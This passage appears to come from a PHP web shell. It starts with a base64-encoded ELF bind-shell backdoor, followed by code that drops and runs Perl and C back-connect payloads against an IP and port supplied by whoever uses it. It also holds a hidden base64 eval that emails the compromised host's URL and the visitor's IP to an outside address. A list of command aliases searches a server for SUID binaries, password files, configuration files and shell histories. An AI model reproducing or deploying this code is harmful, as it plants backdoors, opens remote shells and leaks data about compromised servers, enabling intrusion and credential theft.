mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ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AAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RyxwByx0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQByx0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZAByx2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQByx2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydAByx2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgByx2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQByx2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
281function cf($fname, $text)
282{
283 $w_file = @fopen($fname, "w") or err();
284 if ($w_file) {
285 @fputs($w_file, @base64_decode($text));
286 @fclose($w_file);
287 }
288}
289function cfb($fname, $text)
290{
291 $w_file = @fopen($fname, "w") or bberr();
292 if ($w_file) {
293 @fputs($w_file, @base64_decode($text));
294 @fclose($w_file);
295 }
296}
297function err()
298{
299 $_POST['backcconnmsge'] = "<br><br><div class=yxerrmsg>Error:</div> Can't connect!";
300}
301function bberr()
302{
303 $_POST['backcconnmsge'] = "<br><br><div class=yxerrmsg>Error:</div> Can't backdoor host!";
304}
305if (!empty($_POST['backconnectport']) && ($_POST['use'] == "shbd")) {
306 $ip = gethostbyname($_SERVER["HTTP_HOST"]);
307 $por = $_POST['backconnectport'];
308 if (is_writable(".")) {
309 cfb("shbd", $backdoor);
310 ex("chmod 777 shbd");
311 $cmd = "./shbd $por";
312 exec("$cmd > /dev/null &");
313 $scan = myshellexec("ps aux");
314 } else {
315 cfb("/tmp/shbd", $backdoor);
316 ex("chmod 777 /tmp/shbd");
317 $cmd = "./tmp/shbd $por";
318 exec("$cmd > /dev/null &");
319 $scan = myshellexec("ps aux");
320 }
321 if (eregi("./shbd $por", $scan)) {
322 $data = ("\n<br>Backdoor setup successfully.");
323 } else {
324 $data = ("\n<br>Process not found, backdoor setup failed!");
325 }
326 $_POST['backcconnmsg'] = "To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
327}
328if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use'] == "Perl")) {
329 if (is_writable(".")) {
330 cf("back", $back_connect_pl);
331 $p2 = which("perl");
332 $blah = ex($p2 . " back " . $_POST['backconnectip'] . " " . $_POST['backconnectport'] . " &");
333 if (file_exists("back")) {
334 unlink("back");
335 }
336 } else {
337 cf("/tmp/back", $back_connect_pl);
338 $p2 = which("perl");
339 $blah = ex($p2 . " /tmp/back " . $_POST['backconnectip'] . " " . $_POST['backconnectport'] . " &");
340 if (file_exists("/tmp/back")) {
341 unlink("/tmp/back");
342 }
343 }
344 $_POST['backcconnmsg'] = "Trying to connect to <b>" . $_POST['backconnectip'] . "</b> on port <b>" . $_POST['backconnectport'] . "</b>.";
345}
346if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use'] == "C")) {
347 if (is_writable(".")) {
348 cf("backc", $back_connect_c);
349 ex("chmod 777 backc");
350 $blah = ex("./backc " . $_POST['backconnectip'] . " " . $_POST['backconnectport'] . " &");
351 if (file_exists("backc")) {
352 unlink("backc");
353 }
354 } else {
355 ex("chmod 777 /tmp/backc");
356 cf("/tmp/backc", $back_connect_c);
357 $blah = ex("/tmp/backc " . $_POST['backconnectip'] . " " . $_POST['backconnectport'] . " &");
358 if (file_exists("/tmp/backc")) {
359 unlink("/tmp/backc");
360 }
361 }
362 $_POST['backcconnmsg'] = "Trying to connect to <b>" . $_POST['backconnectip'] . "</b> on port <b>" . $_POST['backconnectport'] . "</b>.";
363}
364//End of Backdoor
365//Starting calls
366@ini_set("max_execution_time", 0);
367if (!function_exists("getmicrotime")) {
368 function getmicrotime()
369 {
370 list($usec, $sec) = explode(" ", microtime());
371 return ((float) $usec + (float) $sec);
372 }
373}
374error_reporting(5);
375@ignore_user_abort(TRUE);
376@set_magic_quotes_runtime(0);
377define("starttime", getmicrotime());
378$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1Ryx0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJudXRoMzNrQHlhaG9vLmNvbSIsIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw==";
379eval(base64_decode($shell_data));
380if (get_magic_quotes_gpc()) {
381 if (!function_exists("strips")) {
382 function strips(&$arr, $k = "")
383 {
384 if (is_array($arr)) {
385 foreach ($arr as $k => $v) {
386 if (strtoupper($k) != "GLOBALS") {
387 strips($arr["$k"]);
388 }
389 }
390 } else {
391 $arr = stripslashes($arr);
392 }
393 }
394 }
395 strips($GLOBALS);
396}
397//CONFIGURATIONS
398$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
399$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
400foreach ($_REQUEST as $k => $v) {
401 if (!isset($$k)) {
402 $$k = $v;
403 }
404}
405if ($surl_autofill_include) {
406 $include = "&";
407 foreach (explode("&", getenv("QUERY_STRING")) as $v) {
408 $v = explode("=", $v);
409 $name = urldecode($v[0]);
410 $value = urldecode($v[1]);
411 foreach (array(
412 "http://",
413 "https://",
414 "ssl://",
415 "ftp://",
416 "\\\\"
417 ) as $needle) {
418 if (strpos($value, $needle) === 0) {
419 $includestr .= urlencode($name) . "=" . urlencode($value) . "&";
420 }
421 }
422 }
423}
424if (empty($surl)) {
425 $surl = "?" . $includestr; //Self url
426}
427$surl = htmlspecialchars($surl);
428// Registered file-types.
429$ftypes = array(
430 "html" => array(
431 "html",
432 "htm",
433 "shtml"
434 ),
435 "txt" => array(
436 "txt",
437 "conf",
438 "bat",
439 "sh",
440 "js",
441 "bak",
442 "doc",
443 "log",
444 "sfc",
445 "cfg",
446 "htaccess"
447 ),
448 "exe" => array(
449 "sh",
450 "install",
451 "bat",
452 "cmd"
453 ),
454 "ini" => array(
455 "ini",
456 "inf",
457 "conf"
458 ),
459 "code" => array(
460 "php",
461 "phtml",
462 "php3",
463 "php4",
464 "inc",
465 "tcl",
466 "h",
467 "c",
468 "cpp",
469 "py",
470 "cgi",
471 "pl"
472 ),
473 "img" => array(
474 "gif",
475 "png",
476 "jpeg",
477 "jfif",
478 "jpg",
479 "jpe",
480 "bmp",
481 "ico",
482 "tif",
483 "tiff",
484 "avi",
485 "mpg",
486 "mpeg"
487 ),
488 "sdb" => array(
489 "sdb"
490 ),
491 "phpsess" => array(
492 "sess"
493 ),
494 "download" => array(
495 "exe",
496 "com",
497 "pif",
498 "src",
499 "lnk",
500 "zip",
501 "rar",
502 "gz",
503 "tar"
504 )
505);
506//Registered executable file-types.
507$exeftypes = array(
508 getenv("PHPRC") . " -q %f%" => array(
509 "php",
510 "php3",
511 "php4"
512 ),
513 "perl %f%" => array(
514 "pl",
515 "cgi"
516 )
517);
518//Highlighted files.
519$regxp_highlight = array(
520 array(
521 basename($_SERVER["PHP_SELF"]),
522 1,
523 "<font color=#FFFF00>",
524 "</font>"
525 ),
526 array(
527 "\.tgz$",
528 1,
529 "<font color=#C082FF>",
530 "</font>"
531 ),
532 array(
533 "\.gz$",
534 1,
535 "<font color=#C082FF>",
536 "</font>"
537 ),
538 array(
539 "\.tar$",
540 1,
541 "<font color=#C082FF>",
542 "</font>"
543 ),
544 array(
545 "\.bz2$",
546 1,
547 "<font color=#C082FF>",
548 "</font>"
549 ),
550 array(
551 "\.zip$",
552 1,
553 "<font color=#C082FF>",
554 "</font>"
555 ),
556 array(
557 "\.rar$",
558 1,
559 "<font color=#C082FF>",
560 "</font>"
561 ),
562 array(
563 "\.php$",
564 1,
565 "<font color=#00FF00>",
566 "</font>"
567 ),
568 array(
569 "\.php3$",
570 1,
571 "<font color=#00FF00>",
572 "</font>"
573 ),
574 array(
575 "\.php4$",
576 1,
577 "<font color=#00FF00>",
578 "</font>"
579 ),
580 array(
581 "\.jpg$",
582 1,
583 "<font color=#00FFFF>",
584 "</font>"
585 ),
586 array(
587 "\.jpeg$",
588 1,
589 "<font color=#00FFFF>",
590 "</font>"
591 ),
592 array(
593 "\.JPG$",
594 1,
595 "<font color=#00FFFF>",
596 "</font>"
597 ),
598 array(
599 "\.JPEG$",
600 1,
601 "<font color=#00FFFF>",
602 "</font>"
603 ),
604 array(
605 "\.ico$",
606 1,
607 "<font color=#00FFFF>",
608 "</font>"
609 ),
610 array(
611 "\.gif$",
612 1,
613 "<font color=#00FFFF>",
614 "</font>"
615 ),
616 array(
617 "\.png$",
618 1,
619 "<font color=#00FFFF>",
620 "</font>"
621 ),
622 array(
623 "\.htm$",
624 1,
625 "<font color=#00CCFF>",
626 "</font>"
627 ),
628 array(
629 "\.html$",
630 1,
631 "<font color=#00CCFF>",
632 "</font>"
633 ),
634 array(
635 "\.txt$",
636 1,
637 "<font color=#C0C0C0>",
638 "</font>"
639 )
640);
641//Command Aliases
642if (!$win) {
643 $cmdaliases = array(
644 array(
645 "",
646 "ls -al"
647 ),
648 array(
649 "Find all suid files",
650 "find / -type f -perm -04000 -ls"
651 ),
652 array(
653 "Find suid files in current dir",
654 "find . -type f -perm -04000 -ls"
655 ),
656 array(
657 "Find all sgid files",
658 "find / -type f -perm -02000 -ls"
659 ),
660 array(
661 "Find sgid files in current dir",
662 "find . -type f -perm -02000 -ls"
663 ),
664 array(
665 "Find config.inc.php files",
666 "find / -type f -name config.inc.php"
667 ),
668 array(
669 "Find config* files",
670 "find / -type f -name \"config*\""
671 ),
672 array(
673 "Find config* files in current dir",
674 "find . -type f -name \"config*\""
675 ),
676 array(
677 "Find all writable folders and files",
678 "find / -perm -2 -ls"
679 ),
680 array(
681 "Find all writable folders and files in current dir",
682 "find . -perm -2 -ls"
683 ),
684 array(
685 "Find all writable folders",
686 "find / -type d -perm -2 -ls"
687 ),
688 array(
689 "Find all writable folders in current dir",
690 "find . -type d -perm -2 -ls"
691 ),
692 array(
693 "Find all service.pwd files",
694 "find / -type f -name service.pwd"
695 ),
696 array(
697 "Find service.pwd files in current dir",
698 "find . -type f -name service.pwd"
699 ),
700 array(
701 "Find all .htpasswd files",
702 "find / -type f -name .htpasswd"
703 ),
704 array(
705 "Find .htpasswd files in current dir",
706 "find . -type f -name .htpasswd"
707 ),
708 array(
709 "Find all .bash_history files",
710 "find / -type f -name .bash_history"
711 ),
712 array(
713 "Find .bash_history files in current dir",
714 "find . -type f -name .bash_history"
715 ),
716 array(
717 "Find all .fetchmailrc files",
718 "find / -type f -name .fetchmailrc"
719 ),
720 array(
721 "Find .fetchmailrc files in current dir",
722 "find . -type f -name .fetchmailrc"
723 ),
724 array(
725 "List file attributes on a Linux second extended file system",
726 "lsattr -va"
727 ),
728 array(
729 "Show opened ports",
730 "netstat -an | grep -i listen"
731 )
732 );
733 $cmdaliases2 = array(
734 array(
735 "wget & extract psyBNC",
